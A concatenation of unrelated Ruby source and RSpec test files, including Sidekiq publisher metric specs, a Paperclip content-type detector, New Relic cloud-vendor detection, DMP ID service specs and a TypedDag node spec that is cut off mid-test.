context "mixed blanks and others" do
it "should allow for mixed" do
@o = new_raw({:mutes => {2.0 => 3.5}, :blank_outs => {3.0 => 4.0}})
at(1.5) do
@o.cur_time.should == 1.5
@o.get_current_state.should == [false, false, 2.0]
end
at(2.0) do
@o.get_current_state.should == [true, false, 3.0]
end
at(3.0) do
@o.get_current_state.should == [true, true, 3.5]
end
at(4) do
@o.get_current_state.should == [false, false, :done]
end
# now a bit more complex...
@o = new_raw({:mutes => {2.0 => 3.5, 5 => 6}, :blank_outs => {3.0 => 4.0}})
at(3.75) do
@o.get_current_state.should == [false, true, 4.0]
end
at(5) do
@o.get_current_state.should == [true, false, 6]
end
at(6) do
@o.get_current_state.should == [false, false, :done]
end
end
end
it "should not fail with verbose on, after it's past next states" do
at(500_000) do
@o.status.should include("138:53:20")
@o.status.should include("q") # for quit
end
end
it "should no longer accept human readable style as starting seconds" do
proc { OverLayer.new 'temp.json', "01:01.5" }.should raise_error(ArgumentError)
end
end
end
| 30.401254 | 167 | 0.617344 |
d5244c4ac59a47a2158d8151b6a3b522fd471721 | 2,532 | # frozen_string_literal: true
RSpec.describe SidekiqPublisher::MetricsReporter do
let(:event) { instance_double(ActiveSupport::Notifications::Event, payload: payload) }
describe "PublisherSubscriber" do
describe "#enqueue_batch" do
let(:instance) { described_class::PublisherSubscriber.new }
let(:payload) { { published_count: rand(1..100) } }
context "when a metrics_reporter is configured" do
include_context "metrics_reporter context"
it "reports a count of the jobs published" do
instance.enqueue_batch(event)
expect(metrics_reporter).to have_received(:try).
with(:count, "sidekiq_publisher.published", payload[:published_count])
end
end
context "when there is no metrics_reporter configured" do
it "does not raise an error" do
expect do
instance.enqueue_batch(event)
end.not_to raise_error
end
end
end
end
describe "JobSubscriber" do
describe "#purge" do
let(:instance) { described_class::JobSubscriber.new }
let(:payload) { { purged_count: rand(1..100) } }
context "when a metrics_reporter is configured" do
include_context "metrics_reporter context"
it "reports a count of the jobs purged" do
instance.purge(event)
expect(metrics_reporter).to have_received(:try).
with(:count, "sidekiq_publisher.purged", payload[:purged_count])
end
end
context "when there is no metrics_reporter configured" do
it "does not raise an error" do
expect do
instance.purge(event)
end.not_to raise_error
end
end
end
end
describe "UnpublishedSubscriber" do
describe "#unpublished" do
let(:instance) { described_class::UnpublishedSubscriber.new }
let(:payload) { { unpublished_count: rand(1..100) } }
context "when a metrics_reporter is configured" do
include_context "metrics_reporter context"
it "reports a count of the jobs purged" do
instance.unpublished(event)
expect(metrics_reporter).to have_received(:try).
with(:gauge, "sidekiq_publisher.unpublished_count", payload[:unpublished_count])
end
end
context "when there is no metrics_reporter configured" do
it "does not raise an error" do
expect do
instance.unpublished(event)
end.not_to raise_error
end
end
end
end
end
| 30.142857 | 92 | 0.648894 |
6a2d6ef37b66b0549058f30c9076e717812db08a | 1,538 | # title: game title
# author: game developer, email, etc.
# desc: short description
# site: website link
# license: MIT License (change this to your license of choice)
# version: 0.1
# script: ruby
$t=0
$x=96
$y=24
def TIC
$y-=1 if btn 0
$y+=1 if btn 1
$x-=1 if btn 2
$x+=1 if btn 3
cls 13
spr 1+(($t%60)/30|0)*2,$x,$y,14,3,0,0,2,2
print "HELLO WORLD!",84,84
$t+=1
end
# <TILES>
# 001:eccccccccc888888caaaaaaaca888888cacccccccacc0ccccacc0ccccacc0ccc
# 002:ccccceee8888cceeaaaa0cee888a0ceeccca0ccc0cca0c0c0cca0c0c0cca0c0c
# 003:eccccccccc888888caaaaaaaca888888cacccccccacccccccacc0ccccacc0ccc
# 004:ccccceee8888cceeaaaa0cee888a0ceeccca0cccccca0c0c0cca0c0c0cca0c0c
# 017:cacccccccaaaaaaacaaacaaacaaaaccccaaaaaaac8888888cc000cccecccccec
# 018:ccca00ccaaaa0ccecaaa0ceeaaaa0ceeaaaa0cee8888ccee000cceeecccceeee
# 019:cacccccccaaaaaaacaaacaaacaaaaccccaaaaaaac8888888cc000cccecccccec
# 020:ccca00ccaaaa0ccecaaa0ceeaaaa0ceeaaaa0cee8888ccee000cceeecccceeee
# </TILES>
# <WAVES>
# 000:00000000ffffffff00000000ffffffff
# 001:0123456789abcdeffedcba9876543210
# 002:0123456789abcdef0123456789abcdef
# </WAVES>
# <SFX>
# 000:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000304000000000
# </SFX>
# <PALETTE>
# 000:1a1c2c5d275db13e53ef7d57ffcd75a7f07038b76425717929366f3b5dc941a6f673eff7f4f4f494b0c2566c86333c57
# </PALETTE>
# <TRACKS>
# 000:100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# </TRACKS>
| 29.018868 | 138 | 0.825748 |
ffbe84f939928ac6b94056f6531f4dd029bf3d14 | 132 | require 'test_helper'
class Admin::PublicationTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 16.5 | 54 | 0.712121 |
08f119091b5fb38b8d943602b73d225b766afce6 | 8,439 | # frozen_string_literal: true
require "rails_helper"
RSpec.describe DmpIdService do
include ConfigHelper
before(:each) do
Rails.configuration.x.enable_dmp_id_registration = true
# Using Datacite for these tests
Rails.configuration.x.datacite.active = true
Rails.configuration.x.datacite.name = "datacite"
Rails.configuration.x.datacite.description = Faker::Lorem.sentence
Rails.configuration.x.datacite.landing_page_url = "#{Faker::Internet.url}/"
@scheme = create(
:identifier_scheme,
name: Rails.configuration.x.datacite.name,
identifier_prefix: Rails.configuration.x.datacite.landing_page_url,
description: Rails.configuration.x.datacite.description,
for_plans: true
)
end
describe "#mint_dmp_id(plan:)" do
before(:each) do
@plan = build(:plan)
@dmp_id = SecureRandom.uuid
@qualified_dmp_id = "#{Rails.configuration.x.datacite.landing_page_url}#{@dmp_id}"
stub_x_section(section_sym: :dmphub, open_struct: OpenStruct.new(active: true))
end
it "returns nil if :plan is not present" do
expect(described_class.mint_dmp_id(plan: nil)).to eql(nil)
end
it "returns nil if :plan is not an instance of Plan" do
expect(described_class.mint_dmp_id(plan: build(:org))).to eql(nil)
end
it "returns the existing DMP ID if :plan already has a :dmp_id" do
existing = build(:identifier, identifier_scheme: @scheme, value: @qualified_dmp_id)
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
ExternalApis::DataciteService.stubs(:mint_dmp_id)
.returns(existing.value_without_scheme_prefix)
expect(described_class.mint_dmp_id(plan: @plan).value).to eql(existing.value)
end
it "returns nil if if no DMP ID minting service is active" do
described_class.stubs(:minter).returns(nil)
expect(described_class.mint_dmp_id(plan: @plan)).to eql(nil)
end
it "returns nil if the DMP ID minting service did not receive a DMP ID" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
described_class.stubs(:scheme).returns(@scheme)
ExternalApis::DataciteService.stubs(:mint_dmp_id).returns(nil)
expect(described_class.mint_dmp_id(plan: @plan)).to eql(nil)
end
it "returns the DMP ID retrieved by the DMP ID minting service" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
described_class.stubs(:scheme).returns(@scheme)
ExternalApis::DataciteService.stubs(:mint_dmp_id).returns(@qualified_dmp_id)
expect(described_class.mint_dmp_id(plan: @plan).value).to eql(@qualified_dmp_id)
end
it "prepends the :landing_page_url if the DMP ID is not a URL" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
described_class.stubs(:scheme).returns(@scheme)
ExternalApis::DataciteService.stubs(:mint_dmp_id).returns(@dmp_id)
expect(described_class.mint_dmp_id(plan: @plan).value).to eql(@qualified_dmp_id)
end
it "does not prepend the :landing_page_url if the DMP ID is already a URL" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
described_class.stubs(:scheme).returns(@scheme)
ExternalApis::DataciteService.stubs(:mint_dmp_id).returns(@qualified_dmp_id)
expected = "#{@scheme.identifier_prefix}#{@qualified_dmp_id}"
expect(described_class.mint_dmp_id(plan: @plan).value).not_to eql(expected)
end
end
describe "#minting_service_defined?" do
it "returns false if no DMP ID minting service is active" do
described_class.stubs(:minter).returns(nil)
expect(described_class.minting_service_defined?).to eql(false)
end
it "returns true if a DMP ID minting service is active" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
expect(described_class.minting_service_defined?).to eql(true)
end
end
describe "#identifier_scheme" do
it "returns nil if there is no active DMP ID minting service" do
described_class.stubs(:minter).returns(nil)
expect(described_class.identifier_scheme).to eql(nil)
end
it "returns the IdentifierScheme associated with the DMP ID minting service" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
stub_x_section(section_sym: :datacite,
open_struct: OpenStruct.new(active: true, name: @scheme.name))
expect(described_class.identifier_scheme).to eql(@scheme)
end
it "creates the IdentifierScheme if one is not defined for the DMP ID minting service" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
stub_x_section(section_sym: :datacite,
open_struct: OpenStruct.new(active: true, name: "datacite"))
expect(described_class.identifier_scheme).to eql(@scheme)
end
end
describe "#scheme_callback_uri" do
it "returns nil if there is no DMP ID minting service" do
described_class.stubs(:minter).returns(nil)
expect(described_class.scheme_callback_uri).to eql(nil)
end
it "returns nil if the callback_uri is not defined by the service" do
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
stub_x_section(section_sym: :datacite,
open_struct: OpenStruct.new(active: true, callback_path: nil))
expect(described_class.scheme_callback_uri).to eql(nil)
end
it "returns the callback_uri" do
uri = Faker::Internet.url
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
stub_x_section(section_sym: :datacite,
open_struct: OpenStruct.new(active: true, callback_path: uri))
described_class.stubs(:minter).returns(ExternalApis::DataciteService)
expect(described_class.scheme_callback_uri).to eql(uri)
end
end
describe "#landing_page_url" do
it "returns nil if there is no DMP ID minting service" do
described_class.stubs(:minter).returns(nil)
expect(described_class.landing_page_url).to eql(nil)
end
it "returns nil if the landing_page is not defined by the service" do
described_class.stubs(:minter).returns(ExternalApis::DmphubService)
stub_x_section(section_sym: :dmphub,
open_struct: OpenStruct.new(active: true, landing_page_url: nil))
expect(described_class.landing_page_url).to eql(nil)
end
it "returns the landing_page" do
uri = Faker::Internet.url
described_class.stubs(:minter).returns(ExternalApis::DmphubService)
stub_x_section(section_sym: :dmphub,
open_struct: OpenStruct.new(active: true, landing_page_url: uri))
described_class.stubs(:minter).returns(ExternalApis::DmphubService)
expect(described_class.landing_page_url).to eql(uri)
end
end
context "private methods" do
describe "#minter" do
it "returns nil if no DMP ID services are active" do
stub_x_section(section_sym: :datacite, open_struct: OpenStruct.new(active: false))
stub_x_section(section_sym: :dmphub, open_struct: OpenStruct.new(active: false))
expect(described_class.send(:minter)).to eql(nil)
end
it "returns the first active service if all DMP ID services are active" do
stub_x_section(section_sym: :datacite, open_struct: OpenStruct.new(active: true))
stub_x_section(section_sym: :dmphub, open_struct: OpenStruct.new(active: true))
result = described_class.send(:minter)
expect(result.name).to eql(ExternalApis::DataciteService.name)
end
it "returns the DataciteService is the only active service" do
stub_x_section(section_sym: :datacite, open_struct: OpenStruct.new(active: true))
stub_x_section(section_sym: :dmphub, open_struct: OpenStruct.new(active: false))
result = described_class.send(:minter)
expect(result.name).to eql(ExternalApis::DataciteService.name)
end
it "returns the DmphubService is the only active service" do
stub_x_section(section_sym: :datacite, open_struct: OpenStruct.new(active: false))
stub_x_section(section_sym: :dmphub, open_struct: OpenStruct.new(active: true))
result = described_class.send(:minter)
expect(result.name).to eql(ExternalApis::DmphubService.name)
end
end
end
end
| 47.145251 | 93 | 0.719161 |
b9877955127122ae356090a51a226fe1a7d6045d | 2,206 | module Paperclip
class ContentTypeDetector
# The content-type detection strategy is as follows:
#
# 1. Blank/Empty files: If there's no filepath or the file is empty,
# provide a sensible default (application/octet-stream or inode/x-empty)
#
# 2. Calculated match: Return the first result that is found by both the
# `file` command and MIME::Types.
#
# 3. Standard types: Return the first standard (without an x- prefix) entry
# in MIME::Types
#
# 4. Experimental types: If there were no standard types in MIME::Types
# list, try to return the first experimental one
#
# 5. Raw `file` command: Just use the output of the `file` command raw, or
# a sensible default. This is cached from Step 2.
EMPTY_TYPE = "inode/x-empty"
SENSIBLE_DEFAULT = "application/octet-stream"
def initialize(filepath)
@filepath = filepath
end
# Returns a String describing the file's content type
def detect
if blank_name?
SENSIBLE_DEFAULT
elsif empty_file?
EMPTY_TYPE
elsif calculated_type_matches.any?
calculated_type_matches.first
else
type_from_file_contents || SENSIBLE_DEFAULT
end.to_s
end
private
def blank_name?
@filepath.nil? || @filepath.empty?
end
def empty_file?
File.exist?(@filepath) && File.size(@filepath) == 0
end
alias :empty? :empty_file?
def calculated_type_matches
possible_types.select do |content_type|
content_type == type_from_file_contents
end
end
def possible_types
MIME::Types.type_for(@filepath).collect(&:content_type)
end
def type_from_file_contents
type_from_mime_magic || type_from_file_command
rescue Errno::ENOENT => e
Paperclip.log("Error while determining content type: #{e}")
SENSIBLE_DEFAULT
end
def type_from_mime_magic
@type_from_mime_magic ||= File.open(@filepath) do |file|
MimeMagic.by_magic(file).try(:type)
end
end
def type_from_file_command
@type_from_file_command ||=
FileCommandContentTypeDetector.new(@filepath).detect
end
end
end
| 27.234568 | 79 | 0.665458 |
6a68c47f755c66a2875cc0f83a375c410d63c933 | 204 | class Admin < User
after_initialize :set_default_role, :if => :new_record?
def self.all
User.where(role: :admin).all
end
private
def set_default_role
self.role = :admin
end
end
| 12.75 | 57 | 0.671569 |
21736e1245f1bc6280ca4c86ceb911c5f5985ea9 | 526 | require_relative 'boot'
require 'rails/all'
Bundler.require(*Rails.groups)
require "enju_circulation"
require "enju_leaf"
module Dummy
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.1
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
end
end
| 26.3 | 82 | 0.771863 |
116e33b1a0ccd4c9faaed7576bb8a4ade26e3d42 | 3,914 | # encoding: utf-8
# This file is distributed under New Relic's license terms.
# See https://github.com/newrelic/rpm/blob/master/LICENSE for complete details.
require 'net/http'
module NewRelic
module Agent
module Utilization
class Vendor
class << self
def vendor_name vendor_name = nil
vendor_name ? @vendor_name = vendor_name.freeze : @vendor_name
end
def endpoint endpoint = nil
endpoint ? @endpoint = URI(endpoint) : @endpoint
end
def headers headers = nil
headers ? @headers = headers.freeze : @headers
end
def keys keys = nil
keys ? @keys = keys.freeze : @keys
end
def key_transforms key_transforms = nil
key_transforms ? @key_transforms = Array(key_transforms).freeze : @key_transforms
end
end
attr_reader :metadata
def initialize
@metadata = {}
end
[:vendor_name, :endpoint, :headers, :keys, :key_transforms].each do |method_name|
define_method(method_name) { self.class.send(method_name) }
end
SUCCESS = '200'.freeze
def detect
response = request_metadata
return false unless response
begin
if response.code == SUCCESS
process_response prepare_response(response)
else
false
end
rescue => e
NewRelic::Agent.logger.error "Error occurred detecting: #{vendor_name}", e
record_supportability_metric
false
end
end
private
def request_metadata
Timeout.timeout 1 do
response = nil
Net::HTTP.start endpoint.host, endpoint.port do |http|
req = Net::HTTP::Get.new endpoint, headers
response = http.request req
end
response
end
rescue
NewRelic::Agent.logger.debug "#{vendor_name} environment not detected"
end
def prepare_response response
JSON.parse response.body
end
def process_response response
keys.each do |key|
normalized = normalize response[key]
if normalized
@metadata[transform_key(key)] = normalized
else
@metadata.clear
record_supportability_metric
return false
end
end
true
end
def normalize value
return if value.nil?
value = value.to_s
value = value.dup if value.frozen?
value.force_encoding Encoding::UTF_8
value.strip!
return unless valid_length? value
return unless valid_chars? value
value
end
def valid_length? value
if value.bytesize <= 255
true
else
NewRelic::Agent.logger.warn "Found invalid length value while detecting: #{vendor_name}"
false
end
end
VALID_CHARS = /^[0-9a-zA-Z_ .\/-]$/
def valid_chars? value
value.each_char do |ch|
next if ch =~ VALID_CHARS
code_point = ch[0].ord # this works in Ruby 1.8.7 - 2.1.2
next if code_point >= 0x80
NewRelic::Agent.logger.warn "Found invalid character while detecting: #{vendor_name}"
return false # it's in neither set of valid characters
end
true
end
def transform_key key
return key unless key_transforms
key_transforms.inject(key) { |memo, transform| memo.send(transform) }
end
def record_supportability_metric
NewRelic::Agent.increment_metric "Supportability/utilization/#{vendor_name}/error"
end
end
end
end
end
| 26.993103 | 100 | 0.561829 |
33c0fb1639184ea814b168373018cb90bd205433 | 721 | require 'gitsh/argument_list'
require 'gitsh/commands/error_handler'
module Gitsh
module Commands
class Factory
def initialize(command_class, context)
@command_class = command_class
@context = context
end
def build
ErrorHandler.new(command_instance, env)
end
private
attr_reader :command_class, :context
def command_instance
command_class.new(env, command, argument_list)
end
def argument_list
ArgumentList.new(args)
end
def env
context[:env]
end
def command
context[:command]
end
def args
context.fetch(:args, []).compact
end
end
end
end
| 17.166667 | 54 | 0.61165 |
625ccc7404e37bfa19ba172a50ad0463e42c9314 | 1,244 | =begin
#OpenAPI Petstore
#This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.2.2-SNAPSHOT
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for Petstore::InlineObject
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe 'InlineObject' do
before do
# run before each test
@instance = Petstore::InlineObject.new
end
after do
# run after each test
end
describe 'test an instance of InlineObject' do
it 'should create an instance of InlineObject' do
expect(@instance).to be_instance_of(Petstore::InlineObject)
end
end
describe 'test attribute "name"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "status"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 25.916667 | 157 | 0.732315 |
6ac10e859bc94a41ab2a6f7255f1966a9bdac376 | 40 | class User < ActiveRecord::Base
end | 5.714286 | 31 | 0.7 |
b9c287938d4eb3848d67372be8fb8994f4d1b911 | 50,080 | require 'spec_helper'
RSpec.describe TypedDag::Node, 'included in Message' do
include TypedDag::Specs::Helpers
let(:message) { Message.create }
let(:other_message) { Message.create }
let(:child_message) { Message.create parent: message }
let(:grandchild_message) { Message.create parent: child_message }
let(:parent_message) do
parent = Message.create
message.parent = parent
parent
end
let(:grandparent_message) do
grandparent = Message.create
parent_message.parent = grandparent
grandparent
end
describe '#in_closure?' do
it 'is false' do
expect(message.in_closure?(other_message))
.to be_falsey
end
context 'with a grandparent' do
before do
parent_message
grandparent_message
end
it 'is true' do
expect(message.in_closure?(grandparent_message))
.to be_truthy
end
end
context 'with a grandchild' do
before do
child_message
grandchild_message
end
it 'is true' do
expect(message.in_closure?(grandchild_message))
.to be_truthy
end
end
end
shared_examples_for 'single typed dag' do |configuration|
type = configuration[:type]
to = configuration[:to]
from = configuration[:from].is_a?(Hash) ? configuration[:from][:name] : configuration[:from]
from_limit = configuration[:from].is_a?(Hash) ? configuration[:from][:limit] : nil
# defining from and from_limit again here to capture the closure and by that avoid
# having to pass them around as params
let(:from) do
configuration[:from].is_a?(Hash) ? configuration[:from][:name] : configuration[:from]
end
let(:from_limit) { configuration[:from].is_a?(Hash) ? configuration[:from][:limit] : nil }
all_to = configuration[:all_to]
all_to_depth = (configuration[:all_to].to_s + '_of_depth').to_sym
all_from = configuration[:all_from]
all_from_depth = (configuration[:all_from].to_s + '_of_depth').to_sym
describe "##{type}_root?" do
let(:method_name) { "#{type}_root?" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is true for A' do
expect(a.send(method_name))
.to be_truthy
end
end
description = <<-'WITH'
DAG:
A
|
|
+
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
it 'is true for A' do
expect(a.send(method_name))
.to be_truthy
end
it 'is false for B' do
expect(b.send(method_name))
.to be_falsy
end
end
end
describe ".#{type}_roots" do
let(:method_name) { "#{type}_roots" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is A' do
expect(Message.send(method_name))
.to match_array [a]
end
end
description = <<-'WITH'
DAG:
A
|
|
+
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
it 'is A' do
expect(Message.send(method_name))
.to match_array [a]
end
end
end
describe "##{type}_roots" do
let(:method_name) { "#{type}_roots" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'for a is empty' do
expect(a.send(method_name))
.to be_empty
end
end
if from_limit && from_limit == 1
description = <<-'WITH'
DAG:
A
|
|
+
B
|
|
+
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'for a is empty' do
expect(a.send(method_name))
.to be_empty
end
it 'for b is a' do
expect(b.send(method_name))
.to match_array [a]
end
it 'for c is a' do
expect(c.send(method_name))
.to match_array [a]
end
end
else
description = <<-'WITH'
DAG:
A B
\ /
\ /
+ +
C
|
|
+
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
let!(:c) { message_with_from 'C', [a, b] }
let!(:d) { message_with_from 'D', c }
it 'for a is empty' do
expect(a.send(method_name))
.to be_empty
end
it 'for b is empty' do
expect(b.send(method_name))
.to be_empty
end
it 'for c is a and b' do
expect(c.send(method_name))
.to match_array [a, b]
end
it 'for d is a and b' do
expect(d.send(method_name))
.to match_array [a, b]
end
end
end
end
describe "#{type}_leaf?" do
let(:method_name) { "#{type}_leaf?" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is true for A' do
expect(a.send(method_name))
.to be_truthy
end
end
description = <<-'WITH'
DAG:
A
|
|
+
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
it 'is false for A' do
expect(a.send(method_name))
.to be_falsy
end
it 'is true for B' do
expect(b.send(method_name))
.to be_truthy
end
end
end
describe "##{type}_leaves" do
let(:method_name) { "#{type}_leaves" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'for a is empty' do
expect(a.send(method_name))
.to be_empty
end
end
description = <<-'WITH'
DAG:
A
/ \
/ \
+ +
B F
/ \
/ \
+ +
C D
|
|
+
E
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
let!(:d) { message_with_from 'D', b }
let!(:e) { message_with_from 'E', d }
let!(:f) { message_with_from 'F', a }
it 'for A is C, E, F' do
expect(a.send(method_name))
.to match_array [c, e, f]
end
end
end
describe ".#{type}_leaves" do
let(:method_name) { "#{type}_leaves" }
description = <<-'WITH'
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is A' do
expect(Message.send(method_name))
.to match_array [a]
end
end
description = <<-'WITH'
DAG:
A
/ \
/ \
+ +
B F
/ \
/ \
+ +
C D
|
|
+
E
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
let!(:d) { message_with_from 'D', b }
let!(:e) { message_with_from 'E', d }
let!(:f) { message_with_from 'F', a }
it 'is C, E, F' do
expect(Message.send(method_name))
.to match_array [c, e, f]
end
end
end
describe "##{to} (directly to)" do
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.new }
it 'is empty' do
expect(a.send(to))
.to be_empty
end
end
description = <<-WITH
DAG:
A
|
|
|
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from('B', a) }
it 'includes B' do
expect(a.send(to))
.to match_array([b])
end
end
description = <<-WITH
DAG:
A
|
|
|
B
|
|
|
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'includes B' do
expect(a.send(to))
.to match_array([b])
end
end
end
describe "##{to.to_s.singularize}? (is a directly to)" do
let(:method) { :"#{to.to_s.singularize}?" }
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.new }
it 'is false for a' do
expect(a.send(method))
.to be_falsey
end
end
description = <<-WITH
DAG:
A
|
|
|
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from('B', a) }
it 'is false for a' do
expect(a.send(method))
.to be_falsey
end
it 'is true for b' do
expect(b.send(method))
.to be_truthy
end
end
description = <<-WITH
DAG:
A
|
|
|
B
|
|
|
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'is false for a' do
expect(a.send(method))
.to be_falsey
end
it 'is true for b' do
expect(b.send(method))
.to be_truthy
end
it 'is true for c' do
expect(c.send(method))
.to be_truthy
end
end
end
describe "##{from.to_s.singularize}? (is a directly from)" do
let(:method) { :"#{from.to_s.singularize}?" }
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.new }
it 'is false for a' do
expect(a.send(method))
.to be_falsey
end
end
description = <<-WITH
DAG:
A
|
|
|
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from('B', a) }
it 'is true for a' do
expect(a.send(method))
.to be_truthy
end
it 'is false for b' do
expect(b.send(method))
.to be_falsey
end
end
description = <<-WITH
DAG:
A
|
|
|
B
|
|
|
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'is true for a' do
expect(a.send(method))
.to be_truthy
end
it 'is true for b' do
expect(b.send(method))
.to be_truthy
end
it 'is false for c' do
expect(c.send(method))
.to be_falsey
end
end
end
describe "##{all_to} (transitive to)" do
description = <<-WITH
DAG:
A
WITH
context description do
it 'is empty' do
expect(message.send(all_to))
.to be_empty
end
end
description = <<-WITH
DAG:
A
|
|
|
B
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
it 'includes B' do
expect(a.send(all_to))
.to match_array([b])
end
end
description = <<-WITH
DAG:
A
|
|
|
B
|
|
|
C
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', b }
it 'includes B and C' do
expect(a.send(all_to))
.to match_array([b, c])
end
end
if !from_limit || from_limit > 1
description = <<-'WITH'
DAG:
A
/ \
/ \
/ \
B C
\ /
\ /
\ /
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', a }
let!(:d) { message_with_from 'D', [b, c] }
it 'is B, C and D for A' do
expect(d.send(all_from))
.to match_array([b, c, a])
end
end
end
end
describe "##{from} (direct from)" do
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
if from_limit == 1
it 'is nil' do
expect(a.send(from))
.to be_nil
end
else
it 'is empty' do
expect(a.send(from))
.to be_empty
end
end
end
description = <<-WITH
DAG:
B
|
|
|
A
WITH
context description do
let!(:b) { Message.create text: 'B' }
let!(:a) { message_with_from 'A', b }
if from_limit && from_limit == 1
it 'is B' do
expect(a.send(from))
.to eql b
end
else
it 'includes B' do
expect(a.send(from))
.to match_array([b])
end
end
end
description = <<-WITH
DAG:
C
|
|
|
B
|
|
|
A
WITH
context description do
let!(:c) { Message.create text: 'C' }
let!(:b) { message_with_from 'B', c }
let!(:a) { message_with_from 'A', b }
if from_limit == 1
it 'is B' do
expect(a.send(from))
.to eql b
end
else
it 'includes B' do
expect(a.send(from))
.to match_array([b])
end
end
end
end
describe "##{all_from} (transitive from)" do
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is empty' do
expect(a.send(all_from))
.to be_empty
end
end
description = <<-WITH
DAG:
C
|
|
|
B
|
|
|
A
WITH
context description do
let!(:c) { Message.create text: 'C' }
let!(:b) { message_with_from 'B', c }
let!(:a) { message_with_from 'A', b }
it 'includes B and C' do
expect(a.send(all_from))
.to match_array([b, c])
end
end
if !from_limit || from_limit > 1
description = <<-'WITH'
DAG:
A
/ \
/ \
/ \
B C
\ /
\ /
\ /
D
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { message_with_from 'B', a }
let!(:c) { message_with_from 'C', a }
let!(:d) { message_with_from 'D', [b, c] }
it 'is B, C and A for D' do
expect(d.send(all_from))
.to match_array([b, c, a])
end
end
end
end
describe "#self_and_#{all_from} (self and transitive from)" do
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is A' do
expect(a.send(:"self_and_#{all_from}"))
.to match_array [a]
end
end
description = <<-WITH
DAG:
C
|
|
+
B
|
|
+
A
WITH
context description do
let!(:c) { Message.create text: 'C' }
let!(:b) { message_with_from 'B', c }
let!(:a) { message_with_from 'A', b }
it 'for A is A, B and C' do
expect(a.send(:"self_and_#{all_from}"))
.to match_array([a, b, c])
end
end
end
describe "#self_and_#{all_to} (self and transitive to)" do
description = <<-WITH
DAG:
A
WITH
context description do
let!(:a) { Message.create text: 'A' }
it 'is A' do
expect(a.send(:"self_and_#{all_to}"))
.to match_array [a]
end
end
description = <<-WITH
DAG:
C
|
|
+
B
|
|
+
A
WITH
context description do
let!(:c) { Message.create text: 'C' }
let!(:b) { message_with_from 'B', c }
let!(:a) { message_with_from 'A', b }
it 'for C is A, B and C' do
expect(c.send(:"self_and_#{all_to}"))
.to match_array([a, b, c])
end
end
end
describe "##{from}= (directly from)" do
description = <<-WITH
DAG before:
A B
DAG after:
B
|
|
|
A
via:
assigning via method
WITH
context description do
let!(:a) { Message.create text: 'A' }
let!(:b) { Message.create text: 'B' }
before do
a.send("#{from}=", from_one_or_array(b))
end
if from_limit == 1
it 'is B' do
expect(a.send(from))
.to eql b
end
else
it 'includes B' do
expect(a.send(from))
